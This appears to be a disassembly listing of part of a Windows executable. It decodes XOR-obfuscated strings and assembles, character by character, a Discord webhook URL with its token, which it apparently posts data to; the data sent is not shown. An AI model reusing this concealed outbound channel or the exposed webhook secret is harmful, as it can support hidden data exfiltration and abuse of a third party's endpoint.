movaps xmm0, xmmword [0x48b680]
movups xmmword [ebp - 0x2f20], xmm0
movaps xmm0, xmmword [0x489dd0]
movups xmmword [ebp - 0x2f10], xmm0
movaps xmm0, xmmword [0x489b00]
movups xmmword [ebp - 0x2f00], xmm0
movaps xmm0, xmmword [0x48ab90]
movups xmmword [ebp - 0x2ef0], xmm0
nop
mov al, byte [ebp - 0x2f70]
xor byte [ebp + ecx - 0x2f6f], al
inc ecx
cmp ecx, 0x9b
jb 0x463b90
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x2fe8]
mov byte [ebp - 0x2ed4], 0
call fcn.00468c40
lea ecx, [ebp - 0x2f6f]
mov byte [ebp - 4], 0x1f
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x463bd0
sub ecx, edx
lea eax, [ebp - 0x2f6f]
push ecx
push eax
lea ecx, [ebp - 0x2fe8]
call fcn.00468c60
push esi
lea edx, [ebp - 0x2fe8]
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x32a8]
call fcn.0044c3a0
add esp, 4
mov ecx, 0x4954bc
push eax
call fcn.00466620
lea ecx, [ebp - 0x32a8]
call fcn.004665d0
lea ecx, [ebp - 0x2fe8]
call fcn.004665d0
lea ecx, [ebp - 0x3248]
call fcn.004665d0
lea ecx, [ebp - 0x3230]
mov byte [ebp - 4], 0x1b
call fcn.004665d0
mov al, 0x25
mov byte [ebp - 0x2d7c], 0x6b
mov dl, al
mov byte [ebp - 0x2d75], 0
xor al, byte [ebp - 0x2d7c]
mov ah, 0x23
mov byte [ebp - 0x2d7b], al
mov cl, 0x2e
mov al, byte [ebp - 0x2d7c]
mov dh, 0x3e
xor ah, al
mov byte [ebp - 0x2d75], 0
mov ch, 0x26
mov byte [ebp - 0x2d78], ah
xor cl, al
xor ch, al
xor dl, al
mov byte [ebp - 0x2d7a], cl
xor dh, al
mov byte [ebp - 0x2d76], ch
lea eax, [ebp - 0x2d7b]
mov byte [ebp - 0x2d79], dl
push eax
mov ecx, 0x4954bc
mov byte [ebp - 0x2d77], dh
call fcn.00469c90
lea ecx, [ebp - 0x3200]
call fcn.0044f660
lea ecx, [ebp - 0x3200]
call fcn.004665d0
cmp byte [0x49527d], 0
je 0x463e62
push 0x61
lea ecx, [ebp - 0x2b74]
mov byte [ebp - 0x2b74], 0x75
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2b74]
mov byte [ebp - 0x2b73], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2b74]
mov byte [ebp - 0x2b72], al
call fcn.00464cf0
mov byte [ebp - 0x2b71], al
xor esi, esi
mov byte [ebp - 0x2b70], 0
nop dword [eax + eax]
push esi
lea ecx, [ebp - 0x2b73]
call fcn.00464d10
lea ecx, [ebp - 0x2b74]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2b73]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x463d20
push 3
lea ecx, [ebp - 0x2b73]
call fcn.00464d10
lea ecx, [ebp - 0x2b73]
mov byte [eax], 0
call fcn.00464d00
push 0x70
lea ecx, [ebp - 0x2b7c]
mov byte [ebp - 0x2b7c], 0x41
mov edi, eax
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2b7c]
mov byte [ebp - 0x2b7b], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2b7c]
mov byte [ebp - 0x2b7a], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2b7c]
mov byte [ebp - 0x2b79], al
call fcn.00464cf0
push 0x20
lea ecx, [ebp - 0x2b7c]
mov byte [ebp - 0x2b78], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x2b7c]
mov byte [ebp - 0x2b77], al
call fcn.00464cf0
mov byte [ebp - 0x2b76], al
xor esi, esi
mov byte [ebp - 0x2b75], 0
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x2b7b]
call fcn.00464d10
lea ecx, [ebp - 0x2b7c]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2b7b]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x463e00
push 6
lea ecx, [ebp - 0x2b7b]
call fcn.00464d10
lea ecx, [ebp - 0x2b7b]
mov byte [eax], 0
call fcn.00464d00
push 0
push edi
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov cl, 0x17
mov dword [ebp - 0x2db8], 0x2e255117
mov dword [ebp - 0x2db4], 0x55222121
xor eax, eax
mov dword [ebp - 0x2db0], 0x54542721
mov word [ebp - 0x2dac], 0x2e
nop dword [eax]
xor byte [ebp + eax - 0x2db7], cl
inc eax
cmp eax, 0xc
jae 0x463ea5
mov cl, byte [ebp - 0x2db8]
jmp 0x463e90
lea ecx, [ebp - 0x31e8]
mov byte [ebp - 0x2dab], 0
call fcn.0043d160
lea ecx, [ebp - 0x2db7]
push ecx
mov ecx, eax
call fcn.00469c90
lea ecx, [ebp - 0x31e8]
mov byte [ebp - 0x2b61], al
call fcn.004665d0
cmp byte [ebp - 0x2b61], 0
jne 0x464968
push 0x4954bc
mov edx, 0x4797c6
lea ecx, [ebp - 0x31d0]
call fcn.00467d80
add esp, 4
push 0x4797c6
mov edx, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x3218]
call fcn.00467eb0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x2b68]
push 0x4f
mov byte [ebp - 0x2b68], 0x35
call fcn.00464cf0
push 0x4b
lea ecx, [ebp - 0x2b68]
mov byte [ebp - 0x2b67], al
call fcn.00464cf0
mov byte [ebp - 0x2b66], al
xor esi, esi
mov byte [ebp - 0x2b65], 0
push esi
lea ecx, [ebp - 0x2b67]
call fcn.00464d10
lea ecx, [ebp - 0x2b68]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2b67]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 2
jb 0x463f50
push 2
lea ecx, [ebp - 0x2b67]
call fcn.00464d10
lea ecx, [ebp - 0x2b67]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x30f8]
call fcn.004666f0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x2c70]
push 0x68
mov byte [ebp - 0x2c70], 0x30
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c6f], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c6e], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c6d], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c6c], al
call fcn.00464cf0
push 0x3a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c6b], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c6a], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c69], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c68], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c67], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c66], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c65], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c64], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c63], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c62], al
call fcn.00464cf0
push 0x2e
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c61], al
call fcn.00464cf0
push 0x63
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c60], al
call fcn.00464cf0
mov byte [ebp - 0x2c5f], al
push 0x6f
lea ecx, [ebp - 0x2c70]
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c5e], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c5d], al
call fcn.00464cf0
push 0x61
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c5c], al
call fcn.00464cf0
push 0x70
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c5b], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c5a], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c59], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c58], al
call fcn.00464cf0
push 0x65
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c57], al
call fcn.00464cf0
push 0x62
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c56], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c55], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c54], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c53], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c52], al
call fcn.00464cf0
push 0x73
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c51], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c50], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c4f], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c4e], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c4d], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c4c], al
call fcn.00464cf0
mov byte [ebp - 0x2c4b], al
lea ecx, [ebp - 0x2c70]
push 0x33
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c4a], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c49], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c48], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c47], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c46], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c45], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c44], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c43], al
call fcn.00464cf0
push 0x35
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c42], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c41], al
call fcn.00464cf0
push 0x33
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c40], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c3f], al
call fcn.00464cf0
push 0x34
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c3e], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c3d], al
call fcn.00464cf0
push 0x2f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c3c], al
call fcn.00464cf0
push 0x6a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c3b], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c3a], al
call fcn.00464cf0
push 0x59
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c39], al
call fcn.00464cf0
push 0x56
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c38], al
call fcn.00464cf0
push 0x42
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c37], al
call fcn.00464cf0
push 0x71
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c36], al
call fcn.00464cf0
push 0x41
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c35], al
call fcn.00464cf0
push 0x6f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c34], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c33], al
call fcn.00464cf0
push 0x6d
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c32], al
call fcn.00464cf0
push 0x79
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c31], al
call fcn.00464cf0
push 0x44
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c30], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c2f], al
call fcn.00464cf0
push 0x6a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c2e], al
call fcn.00464cf0
push 0x2d
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c2d], al
call fcn.00464cf0
push 0x30
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c2c], al
call fcn.00464cf0
push 0x69
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c2b], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c2a], al
call fcn.00464cf0
push 0x75
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c29], al
call fcn.00464cf0
push 0x4f
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c28], al
call fcn.00464cf0
push 0x6a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c27], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c26], al
call fcn.00464cf0
push 0x76
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c25], al
call fcn.00464cf0
push 0x43
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c24], al
call fcn.00464cf0
push 0x74
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c23], al
call fcn.00464cf0
mov byte [ebp - 0x2c22], al
push 0x70
lea ecx, [ebp - 0x2c70]
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c21], al
call fcn.00464cf0
push 0x4b
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c20], al
call fcn.00464cf0
push 0x72
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c1f], al
call fcn.00464cf0
push 0x7a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c1e], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c1d], al
call fcn.00464cf0
push 0x7a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c1c], al
call fcn.00464cf0
push 0x71
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c1b], al
call fcn.00464cf0
push 0x78
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c1a], al
call fcn.00464cf0
push 0x7a
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c19], al
call fcn.00464cf0
push 0x71
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c18], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c17], al
call fcn.00464cf0
push 0x64
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c16], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c15], al
call fcn.00464cf0
push 0x6c
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c14], al
call fcn.00464cf0
push 0x39
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c13], al
call fcn.00464cf0
push 0x50
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c12], al
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c11], al
call fcn.00464cf0
push 0x68
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c10], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c0f], al
call fcn.00464cf0
mov byte [ebp - 0x2c0e], al
push 0x4d
lea ecx, [ebp - 0x2c70]
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c0d], al
call fcn.00464cf0
push 0x4b
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c0c], al
call fcn.00464cf0
push 0x33
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c0b], al
call fcn.00464cf0
push 0x37
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c0a], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c09], al
call fcn.00464cf0
push 0x51
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c08], al
call fcn.00464cf0
push 0x32
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c07], al
call fcn.00464cf0
push 0x76
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c06], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c05], al
call fcn.00464cf0
push 0x78
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c04], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c03], al
call fcn.00464cf0
push 0x6e
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c02], al
call fcn.00464cf0
push 0x31
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c01], al
call fcn.00464cf0
push 0x51
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2c00], al
call fcn.00464cf0
push 0x77
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bff], al
call fcn.00464cf0
push 0x49
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bfe], al
call fcn.00464cf0
push 0x6b
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bfd], al
call fcn.00464cf0
push 0x4c
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bfc], al
call fcn.00464cf0
push 0x79
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bfb], al
call fcn.00464cf0
mov byte [ebp - 0x2bfa], al
lea ecx, [ebp - 0x2c70]
push 0x6c
call fcn.00464cf0
push 0x36
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bf9], al
call fcn.00464cf0
push 0x47
lea ecx, [ebp - 0x2c70]
mov byte [ebp - 0x2bf8], al
call fcn.00464cf0
mov byte [ebp - 0x2bf7], al
xor esi, esi
mov byte [ebp - 0x2bf6], 0
push esi
lea ecx, [ebp - 0x2c6f]
call fcn.00464d10
lea ecx, [ebp - 0x2c70]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2c6f]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0x79
jb 0x4648c1
push 0x79
lea ecx, [ebp - 0x2c6f]
call fcn.00464d10
lea ecx, [ebp - 0x2c6f]
mov byte [eax], 0
call fcn.00464d00
push eax
lea ecx, [ebp - 0x30e0]
call fcn.004666f0
push edi
lea edx, [ebp - 0x30f8]
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x30e0]
call fcn.004478e0
add esp, 4
lea ecx, [ebp - 0x30e0]
call fcn.004665d0
lea ecx, [ebp - 0x30f8]
call fcn.004665d0
lea ecx, [ebp - 0x3218]
call fcn.004665d0
lea ecx, [ebp - 0x31d0]
call fcn.004665d0
mov cl, 0x4d
mov dword [ebp - 0x2d8c], 0x213d3e4d
mov dword [ebp - 0x2d88], 0x7e3a223a
xor eax, eax
mov dword [ebp - 0x2d84], 0x3528637f
mov word [ebp - 0x2d80], 0x28
xor byte [ebp + eax - 0x2d8b], cl
inc eax
cmp eax, 0xc
jae 0x4649a8
mov cl, byte [ebp - 0x2d8c]
jmp 0x464993
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x2f88]
mov byte [ebp - 0x2d7f], 0
call fcn.00468c40
lea ecx, [ebp - 0x2d8b]
mov byte [ebp - 4], 0x25
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4649d0
sub ecx, edx
lea eax, [ebp - 0x2d8b]
push ecx
push eax
lea ecx, [ebp - 0x2f88]
call fcn.00468c60
mov byte [ebp - 4], 0x26
xor esi, esi
mov dword [ebp - 0x2d98], 0x24423b78
mov dword [ebp - 0x2d94], 0x1c16112f
mov dword [ebp - 0x2d90], 0xb0f17
push esi
lea ecx, [ebp - 0x2d97]
call fcn.00464d10
lea ecx, [ebp - 0x2d98]
movzx eax, byte [eax]
push eax
call fcn.00464cf0
push esi
lea ecx, [ebp - 0x2d97]
mov byte [ebp - 0x2b61], al
call fcn.00464d10
mov cl, byte [ebp - 0x2b61]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x464a10
push 0xa
lea ecx, [ebp - 0x2d97]
call fcn.00464d10
lea ecx, [ebp - 0x2d97]
mov byte [eax], 0
call fcn.00464d00
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x3018]
mov esi, eax
call fcn.00468c40
mov ecx, esi
mov byte [ebp - 4], 0x27
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464a82
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x3018]
call fcn.00468c60
movaps xmm0, xmmword [str.Q9___k_hh]
xor ecx, ecx
movups xmmword [ebp - 0x30b8], xmm0
mov dword [ebp - 0x3028], 0x12666260
movaps xmm0, xmmword [0x48a130]
movups xmmword [ebp - 0x30a8], xmm0
mov dword [ebp - 0x3024], 0x66026363
movaps xmm0, xmmword [0x489ef0]
movups xmmword [ebp - 0x3098], xmm0
mov byte [ebp - 0x3020], 0
movaps xmm0, xmmword [0x48b430]
movups xmmword [ebp - 0x3088], xmm0
movaps xmm0, xmmword [0x48b310]
movups xmmword [ebp - 0x3078], xmm0
movaps xmm0, xmmword [0x48b420]
movups xmmword [ebp - 0x3068], xmm0
movaps xmm0, xmmword [0x489ec0]
movups xmmword [ebp - 0x3058], xmm0
movaps xmm0, xmmword [0x48b4d0]
movups xmmword [ebp - 0x3048], xmm0
movaps xmm0, xmmword [0x48b320]
movups xmmword [ebp - 0x3038], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x30b8]
xor byte [ebp + ecx - 0x30b7], al
inc ecx
cmp ecx, 0x97
jb 0x464b40
push dword [ebp - 0x2b6c]
lea ecx, [ebp - 0x3000]
mov byte [ebp - 0x3020], 0
call fcn.00468c40
lea ecx, [ebp - 0x30b7]
mov byte [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x464b80
sub ecx, edx
lea eax, [ebp - 0x30b7]
push ecx
push eax
lea ecx, [ebp - 0x3000]
call fcn.00468c60
lea eax, [ebp - 0x2f88]
mov byte [ebp - 4], 0x2a
push eax
lea edx, [ebp - 0x3018]
lea ecx, [ebp - 0x3000]
call fcn.0043d520
add esp, 4
lea ecx, [ebp - 0x3000]
call fcn.004665d0
lea ecx, [ebp - 0x3018]
call fcn.004665d0
lea ecx, [ebp - 0x2f88]
mov byte [ebp - 4], 0x1b
call fcn.004665d0
call fcn.0045f8c0
call dword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.0045e650
call fcn.0045e800
movss xmm0, dword [0x4946a4]
ucomiss xmm0, dword [0x489134]
lahf
test ah, 0x44
jp 0x464caa
lea eax, [ebp - 0x2b60]
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x2b60], xmm0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
movd xmm2, dword [ebp - 0x2b54]
lea ecx, [ebp - 0x30c0]
movd xmm1, dword [ebp - 0x2b58]
cvtdq2ps xmm2, xmm2
cvtdq2ps xmm1, xmm1
call fcn.00401910
lea ecx, [ebp - 0x30c8]
movss xmm1, dword [eax]
movss dword [0x49469c], xmm1
movss xmm2, dword [eax + 4]
subss xmm1, dword [0x4946ac]
movss dword [0x4946a0], xmm2
subss xmm2, dword [0x4946b0]
mulss xmm1, dword [0x489188]
mulss xmm2, dword [0x489188]
call fcn.00401910
movss xmm0, dword [eax]
movss dword [0x4946a4], xmm0
movss xmm0, dword [eax + 4]
movss dword [0x4946a8], xmm0
lea ecx, [ebp - 0x160]
call fcn.004665d0
lea ecx, [ebp - 0x148]
call fcn.004665d0
lea ecx, [ebp - 0x130]
call fcn.004665d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret